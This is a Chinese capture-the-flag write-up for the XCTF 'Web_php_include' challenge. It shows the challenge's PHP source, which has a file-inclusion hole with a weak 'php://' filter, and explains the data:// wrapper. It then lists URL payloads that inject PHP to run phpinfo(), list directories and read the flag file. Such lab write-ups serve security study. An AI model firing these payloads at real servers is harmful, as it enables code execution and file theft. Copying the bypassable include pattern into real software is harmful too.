89,[5]攻防世界 web Web_php_include

时间:2025-02-03 21:56:23

进入靶场

<?php
// 显示当前 PHP 文件的源代码,方便调试或展示代码内容
show_source(__FILE__);

// 从 URL 的查询字符串中获取名为 'hello' 的参数值,并将其输出到页面上
// 例如,当访问的 URL 为 "example.php?hello=world" 时,会输出 "world"
echo $_GET['hello'];

// 从 URL 的查询字符串中获取名为 'page' 的参数值,并将其赋值给变量 $page
// 这个参数通常用于指定要包含的文件
$page = $_GET['page'];

// 使用 while 循环来检查 $page 变量中是否包含 "php://" 字符串
// strstr 函数用于查找字符串中第一次出现指定子字符串的位置,如果找到则返回包含该子字符串及其后续部分的字符串,否则返回 false
while (strstr($page, "php://")) {
    // 如果 $page 中包含 "php://",则使用 str_replace 函数将 "php://" 替换为空字符串
    // 这一步的目的是防止用户通过构造包含 "php://" 的输入来利用 PHP 的伪协议进行攻击
    $page = str_replace("php://", "", $page);
}

// 使用 include 函数包含 $page 变量所指定的文件
// 包含文件后,该文件的内容会被当作当前文件的一部分执行
// 注意:这里需要确保 $page 的值是安全的,否则可能会导致文件包含漏洞
include($page);
?>

 data:// 伪协议

data:// 是 PHP 中的一种伪协议,它允许我们直接将数据作为一个 “虚拟文件” 来处理。使用 data:// 伪协议的基本格式如下:

data://<mime-type>[;charset=<charset>][;base64],<data>
  • <mime-type>:指定数据的 MIME 类型,例如 text/plain 表示纯文本类型。
  • charset:可选参数,用于指定字符编码。
  • base64:可选参数,如果数据是经过 Base64 编码的,则需要指定该参数。
  • <data>:实际的数据内容。

1,

/?page=data://text/plain,<?php phpinfo()?>

  • data://:表示使用 data:// 伪协议。
  • text/plain:指定数据的 MIME 类型为纯文本。
  • ,:作为分隔符,用于分隔 MIME 类型和实际的数据内容。
  • <?php phpinfo()?>:这是实际的数据内容,它是一段 PHP 代码,当这段代码被包含并执行时,会调用 phpinfo() 函数,该函数会输出 PHP 的配置信息,包括 PHP 版本、编译选项、加载的扩展模块等详细信息。

 

2, 

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

$_SERVER['DOCUMENT_ROOT'] 是 PHP 的一个超全局变量,它存储着当前网站的根目录路径。echo 语句会将这个路径输出。

3, 

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

 目的是列出 /var/www 目录下的所有文件和子目录信息

4, 

/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
  • $a = file_get_contents('fl4gisisish3r3.php');file_get_contents 是 PHP 的一个函数,用于将整个文件读入一个字符串。这里尝试读取 fl4gisisish3r3.php 文件的内容,并将其赋值给变量 $a
  • echo htmlspecialchars($a);htmlspecialchars 函数将字符串中的特殊字符(如 <>& 等)转换为 HTML 实体,这样可以防止这些特殊字符在 HTML 页面中被错误解析,然后将处理后的字符串输出到页面上。